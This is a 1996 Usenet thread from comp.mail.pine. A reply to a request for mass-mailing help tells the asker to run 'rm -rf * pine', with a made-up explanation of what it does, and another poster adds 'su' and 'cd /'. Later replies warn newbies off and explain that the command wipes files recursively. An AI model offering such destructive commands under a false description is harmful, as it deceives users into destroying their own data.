Subject: Re: Mass mailing

From: [email-masked] (Bill D)
Date: 28 Dec 1996 01:46:59 GMT

In article <[email-masked]> in newsgroup
comp.mail.pine, LRC-Lienzer Dolomiten <[email-masked]>
wrote: 

>How can i send 1000s of emails ??

type 

'rm -rf * pine'

at a Unix shell prompt.

The "rm" means "read mail" and the "-rf" option means "really fast", which
is most appropriate when you are sending out more than 100 pieces at a
time.  The "*" means for the "readmail" command to send to as many
addresses as it can find, and the "pine" of course means to use pine to do
it.

The "readmail" command is named that way for historic reasons.  Don't
ask.

HTH
Bill

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From: Lea <[email-masked]>
Date: Fri, 27 Dec 1996 21:55:42 -0700 (MST)

> addresses as it can find, and the "pine" of course means to use pine to do

You're hilarious, Bill.

To any newbies out there who might take Bill seriously:
DON'T.

Lea

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From: "Robert J. Wilshe" <[email-masked]>
Date: Sat, 28 Dec 1996 00:07:33 -0600 (CST)

Ahem..... not too sure I agree with this one.   :)  UNIX/Pine novices
beware...  

You are a mean person, Bill!   :)  You had me thinking there for a second.

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From: [email-masked] (R. Stewart Ellis)
Date: 28 Dec 1996 15:15:47 GMT

>type 

You forgot the first two commands:

'su'
'cd /'

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From: "Robin S. Socha" <[email-masked]>
Date: Sat, 28 Dec 1996 14:20:19 +0100 (MET)

>To any newbies out there who might take Bill seriously:

You're pathetic - anyone trying to harrass people sending mass mail ought to
know that command. If they don't, they don't deserve any better... Well, even
if they did, they wouldn't.

Nevermind,

Robin

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From: [email-masked] (Juergen Sauer)
Date: 28 Dec 1996 15:57:42 +0100

LRC-Lienzer Dolomiten <[email-masked]> schrieb
am Fri, 27 Dec 1996 21:02:52 +0100 in comp.mail.pine:
LD> Can anybody tell me:

LD> How can i send 1000s of emails ??

Yes, but I won't.
I do not support spawner.
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From: [email-masked] (Jeff Davis)
Date: 28 Dec 1996 13:52:16 GMT

In article <[email-masked]>, Robert J. Wilshe wrote:
:
:Ahem..... not too sure I agree with this one.   :)  UNIX/Pine novices
:beware...  
:
:You are a mean person, Bill!   :)  You had me thinking there for a second.
:

I don't know, given the volume of SPAM these days I think it was a GREAT
answer to a guy who asked "how can I get PINE to send 1000's of emails"

Nice job Bill!

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From: "Robin S. Socha" <[email-masked]>
Date: Sun, 29 Dec 1996 04:44:30 +0100 (MET)

>I do not support spawner.

/* flame on

This thread makes me wonder if it wouldn't be convenient to either have a
moderator (yeah, unlikely and unwanted, but still always nice to have) or some
kind of warning in the auto-reply to any subscription to the list. "Inspired" 
by the large amount of requests for procmail/automailer-related mailings in
the last few weeks, I'd like to suggest something along these lines:

"If you:

- tend to mail/post stuff that is obviously unrelated to the respective
  mailing list or newsgroup;
- haven't RTFM at least three times;
- think a faq is something obscene/kewl/uninteresting/unneccessary/; 
- haven't consulted the online help; 
- are using LinuX because some sleazy creep in a hip "online magazine" has
  announced it at the hippest thing to do this month;
- feel the compulsion to harrass people by drooling them to death on a
  regular basis;
- think cross-postings are really nice; 
- think mass mails are a cool way to make total strangers really, really
  happy;
- want to make money fast;
- (worst of all) have a provider with something like "online", "telekom" or
  "cool" in its address;

PLEASE a) get a life, b) drop dead, c) use Win95". 

*/ flame off

Apart from that...

Is there any way to influence the way pine sorts the reply-to's when there are
several recipients? In the case of this mail, I had (?) to manually delete the
original author's address and replace it with the list's.

Thanks for any kind of non-medical help in advance.

Cheers,
Robin

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From: [email-masked] (Paul B. Brown)
Date: 29 Dec 1996 19:24:10 GMT

[email-masked] () writes:

>Hello,
>I agree that fooling someone who 'appears' to be doing a spam is clever,
>but for those of us who are A: Unitiated, and B: Prone to experimentation,
>what exactly DOES Bill's command do (I do not have access to my servers
>command line anyway, soooo...), just so that some slightly adventurous
>person does not actually DO this.
>
>Steve
>

Your kidding, right Steve?  Well, in case you are not:

rm -rf *

rm = remove a file or directory.
-r = a flag for rm telling it to remove all files and directories from
     a given point recursing through all subdirectories.
-f = a flag for rm telling it to force the removal of the file or
     directory.
*  = means accept all files and directories as arguments

So,

rm -rf *

Will remove everything from wherever you in a given filesystem.  Now
lets assume you are root and you are at the root level:

su       - makes you root
cd /     - takes you to the root level of the root filesystem

Executing the command will wipe you harddisk(s)! . . . and have a nice
day! ;->

Paul

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From: LRC-Lienzer Dolomiten <[email-masked]>
Date: Fri, 27 Dec 1996 21:02:52 +0100

Can anybody tell me:

thanx

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From: [email-masked] ()
Date: 28 Dec 1996 20:46:47 GMT

Hello,

Steve

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